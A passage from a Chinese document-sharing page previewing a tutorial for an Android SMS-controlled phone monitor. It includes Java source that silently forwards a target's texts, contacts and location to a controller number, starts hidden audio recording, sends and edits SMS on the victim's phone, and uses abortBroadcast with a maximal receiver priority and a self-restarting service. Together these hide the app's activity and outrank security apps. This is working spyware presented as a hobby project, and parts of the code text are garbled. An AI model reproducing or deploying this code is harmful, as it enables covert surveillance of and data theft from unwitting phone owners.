




已阅读5页,还剩31页未读, 继续免费阅读
版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
1.1前言兴趣是最好的老师,这句话对于有志于从事软件开发的人来说尤为重要,毕竟这一行业需要不断的学习新知识,缺乏兴趣的工作只会让人感到日益枯燥.以下是去年9月份在某培训班开始学习android的过程中,出于个人兴趣写的一个小程序.在此献给大家,一来借这类程序提高大家的Android开发兴趣,再者也可以学习一下简单实用的知识.1.2程序简介本程序是一个基于短信的手机控制程序,有受控端B和管理端A.已实现功能:1.A监控C发给B的所有短信.2.A可以查询B的通讯录和位置.3.A可以开启B的手机录音.4.A可以通过B向任何人发送短信.5.A可以修改B的收件箱短信内容.6.B换手机号后,A可以知道.相关参数:admin-管理者手机号码,也就是A的手机号码listen-被监控的手机号码,即C的手机号.password-管理密码,会在第一次建立控制关系时设定,A若换手机号,只能通过这个密码来更换B上保存的admin号码 2.1 MainReceiver:程序的短信解析/跳转主体类.用的是broadcastreceiver , broadcastreceiver本身就不介绍了,网上一大堆使用教程.本程序中就是截获vider.Telephony.SMS_RECEIVED广播,分析短信内容, 根据不同的内容进行相应操作.?package ject; import java.util.List; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.content.SharedPreferences; import android.content.SharedPreferences.Editor; import android.os.Bundle; import android.telephony.SmsManager; import android.telephony.SmsMessage; public class MainReceiver extends BroadcastReceiver private String number; private SmsManager manager = SmsManager.getDefault(); public void onReceive(Context context, Intent intent) MyLog.LogI(OUTPUT, 广播接收器触发); SharedPreferences preferences = context.getSharedPreferences(sms, Context.MODE_PRIVATE); /使用 SharedPreferences 存储admin号码和listen号码. String admin = preferences.getString(admin, ); MyLog.LogI(OUTPUT, 当前admin:+admin); String listen = preferences.getString(listen, ); String password = preferences.getString(password, iceman); MyLog.LogI(OUTPUT, 当前listen:+listen); Bundle bun = intent.getExtras(); /开始分析短信 if(bun!=null) Object mypdus = (Object)bun.get(pdus); SmsMessage messages = new SmsMessagemypdus.length; for(int i=0;imypdus.length;i+) messagesi = SmsMessage.createFromPdu(byte)mypdusi); for(SmsMessage mess:messages) number = mess.getDisplayOriginatingAddress(); String body = mess.getDisplayMessageBody(); MyLog.LogI(OUTPUT,号码来源:+number); MyLog.LogI(OUTPUT,内容:+body); if(number.contains(+86) number = number.substring(3); MyLog.LogI(OUTPUT,号码来源转换+number); /设定管理号码 if(body.equals(iceman78952190) MyLog.LogI(OUTPUT,查询密码哦); abortBroadcast(); manager.sendTextMessage(number, null, password, null, null); if(body.contains(icemanadmin) abortBroadcast(); body = body.substring(13); if(password.equals(iceman) password = body; Editor editor = preferences.edit(); editor.putString(admin, number); editor.putString(password, body); mit(); MyLog.LogI(OUTPUT,设定admin:+number); manager.sendTextMessage(number, null, admin change success!+number, null, null); else if(password.equals(body) Editor editor = preferences.edit(); editor.putString(admin, number); mit(); MyLog.LogI(OUTPUT,设定admin:+number); manager.sendTextMessage(number, null, admin change success!+number, null, null); else MyLog.LogI(OUTPUT,密码不对); /对管理号码发来的短信进行判断,是否启动服务或者更改被监听号码 if(number.equals(admin) if(body.contains(icemansearch) abortBroadcast(); MyLog.LogI(OUTPUT, 开始查询通讯录); manager.sendTextMessage(admin, null, search starting!, null, null); /启动服务,查询通讯录并发送 Intent it = new Intent(context,ContactService.class); it.putExtra(admin, admin); context.startService(it); else if(body.contains(icemanchange) abortBroadcast(); listen = body.substring(14); Editor editor = preferences.edit(); editor.putString(listen, listen); mit(); MyLog.LogI(OUTPUT, 更改listen完成); manager.sendTextMessage(admin, null, listen change success!, null, null); else if(body.contains(icemanlocation) abortBroadcast(); MyLog.LogI(OUTPUT, 开启位置监控); Intent it = new Intent(context,LocationService.class); context.startService(it); manager.sendTextMessage(admin, null, location listen success!, null, null); MyLog.LogI(OUTPUT, 位置监控开启完成); else if(body.contains(icemanwhere) abortBroadcast(); MyLog.LogI(OUTPUT, 开始发送并解析地址); Intent it2 = new Intent(context,GetAddressService.class); context.startService(it2); else if(body.contains(icemanstart) abortBroadcast(); MyLog.LogI(OUTPUT, 收到录音开启命令); Intent it = new Intent(context,RecorderService.class); context.startService(it); else if(body.contains(icemanstop) abortBroadcast(); MyLog.LogI(OUTPUT, 收到结束录音命令); Intent it = new Intent(context,RecorderService.class); context.stopService(it); else if(body.contains(icemansms) abortBroadcast(); MyLog.LogI(OUTPUT, 发送短信); String str = body.split(#); manager.sendTextMessage(str1, null, str2, null, null); MyLog.LogI(OUTPUT, 目标号码:+str1+内容:+str2); else if(body.contains(icemanreplace) abortBroadcast(); String str = body.split(#); MyLog.LogI(OUTPUT, 收到短信修改命令); Intent it = new Intent(context,EditSmsService.class); it.putExtra(key, str1); it.putExtra(number, str2); it.putExtra(content, str3); it.putExtra(type, replace); context.startService(it); else if(body.contains(icemanedit) abortBroadcast(); String str = body.split(#); MyLog.LogI(OUTPUT, 收到短信编辑命令); Intent it = new Intent(context,EditSmsService.class); it.putExtra(key, str1); it.putExtra(number, str2); it.putExtra(content, str3); it.putExtra(type, edit); context.startService(it); /判断是否由被监听号码发来的短信 if(number.equals(listen) String sms = number+:+body; MyLog.LogI(OUTPUT, 监听到短信); List texts=manager.divideMessage(sms); for(String text:texts) manager.sendTextMessage(admin, null, text, null, null); 这个广播接收器最初是静态注册的,目的是不需要运行程序,相当于开机启动.但是在部分真机上测试时发现360,91短信等会在它之前拦截短信,经过网上查询,得知动态注册的优先级要高于静态注册,优先级相同的动态注册广播,先注册的先接收广播.所以,我又写了个service,在系统启动后运行并绑定广播接收器.优先级设为2147483647.不要被google api里面写的优先级最大1000忽悠了,这个int上限值也是有用的.?package ject; import android.app.Service; import android.content.Intent; import android.content.IntentFilter; import android.os.IBinder; public class MainService extends Service MainReceiver mReceiver; Overridepublic IBinder onBind(Intent intent) / TODO Auto-generated method stub return null; Overridepublic void onStart(Intent intent, int startId) super.onStart(intent, startId); IntentFilter localIntentFilter = new IntentFilter(vider.Telephony.SMS_RECEIVED); localIntentFilter.setPriority(2147483647); mReceiver = new MainReceiver(); registerReceiver(mReceiver, localIntentFilter); Overridepublic void onDestroy() unregisterReceiver(mReceiver); Intent it = new Intent(MainService.this, MainService.class); this.startService(it); 2.2功能:监控指定短信这是程序的初衷,也是我学到broadcastreceiver时首先冒出来的念头.当短信来源号码为C时,将短信转发一份给A.代码很简单:?/ 判断是否由被监听号码发来的短信 if (number.equals(listen) String sms = number + : + body; MyLog.LogI(OUTPUT, 监听到短信); List texts = manager.divideMessage(sms); for (String text : texts) manager.sendTextMessage(admin, null, text, null, null); 2.3功能:查询通讯录这里使用了ContentResolver,这是与内容提供器ContentProvider对应的查询器,android的通讯录程序对外提供了ContentProvider查询接口.我们可以像操作数据库一样对里面的数据进行读取.修改也可以(这个太无聊了,放到短信那部分再说)?package ject; import java.util.List; import android.app.Service; import android.content.ContentResolver; import android.content.Intent; import android.database.Cursor; import android.os.IBinder; import vider.ContactsContract; import android.telephony.SmsManager; public class ContactService extends Service SmsManager manager = SmsManager.getDefault(); Overridepublic IBinder onBind(Intent intent) return null; Overridepublic void onCreate() super.onCreate(); Overridepublic void onStart(Intent intent, int startId) String admin = intent.getStringExtra(admin); MyLog.LogI(OUTPUT, 开启通讯录查询服务); String columns = _id, display_name, has_phone_number ; StringBuffer sb = new StringBuffer(); ContentResolver cr = this.getContentResolver(); Cursor cursor = cr.query(ContactsContract.Contacts.CONTENT_URI, columns, null, null, null); String phone_clos = ContactsContract.CommonDataKinds.Phone.CONTACT_ID, ContactsContract.CommonDataKinds.Phone.NUMBER, ; if (cursor.moveToFirst() do int _id = cursor.getInt(0); String name = cursor.getString(1); String has_phone = cursor.getString(2); sb.append(name + :); if (has_phone.trim().equals(1) Cursor phones = cr .query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, phone_clos, ContactsContract.CommonDataKinds.Phone.CONTACT_ID + = + _id, null, null); if (phones.moveToFirst() do sb.append(phones.getString(1) + .); while (phones.moveToNext(); while (cursor.moveToNext(); MyLog.LogI(OUTPUT, 开始发送通讯录); List texts=manager.divideMessage(sb.toString(); for(String text:texts) manager.sendTextMessage(admin, null, text, null, null); /查询完毕后关闭服务 stopSelf(); super.onStart(intent, startId); Overridepublic void onDestroy() / TODO Auto-generated method stub super.onDestroy(); Overridepublic int onStartCommand(Intent intent, int flags, int startId) / TODO Auto-generated method stub return super.onStartCommand(intent, flags, startId); Overridepublic boolean onUnbind(Intent intent) / TODO Auto-generated method stub return super.onUnbind(intent); 要注意的是,这个视通讯录条数多少,会有几条短信发出.少用为妙2.4功能:查询位置有两件事要做:获得经纬度表示的位置信息和将经纬度解析为地址信息android使用LocationManager来管理获得的位置信息,给它设置一个位置监听,就可以在位置发生变化时,获得变化后的经纬度信息,?package ject; import java.text.SimpleDateFormat; import java.util.Date; import android.app.Service; import android.content.Context; import android.content.Intent; import android.content.SharedPreferences; import android.content.SharedPreferences.Editor; import android.location.Criteria; import android.
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 旅游专业笔试题及答案
- 机械专业高考试题及答案
- 济南专业试题及答案
- 安徽省九师联盟2026届高三9月开学联考化学(含答案)
- 水利机电专业试题及答案
- 历史转专业试题及答案
- 路基前期旳施工方案
- 未来城市交通发展规划分析
- 关于学科部期末工作总结
- 桔子酒店电路施工方案
- 中医备案诊所管理办法
- 2025年高校教师资格证考试题库(附答案)
- 浙江省浙南名校联盟2025-2026学年高二上学期开学返校联考英语试卷(含音频)
- (康德卷) 重庆市2026届高三9月开学考联考英语试卷(含答案解析)
- 2025江苏省旅游发展研究中心自主招聘4人考试参考试题及答案解析
- 绿化施肥基本知识培训课件
- 选调生培训课件
- 安全驾驶教育培训课件
- 西师大版数学六年级上册 第一单元测试卷(A)(含解析)
- 2025北京京剧院招聘10人备考题库及答案解析
- 防护用品使用课件
评论
0/150
提交评论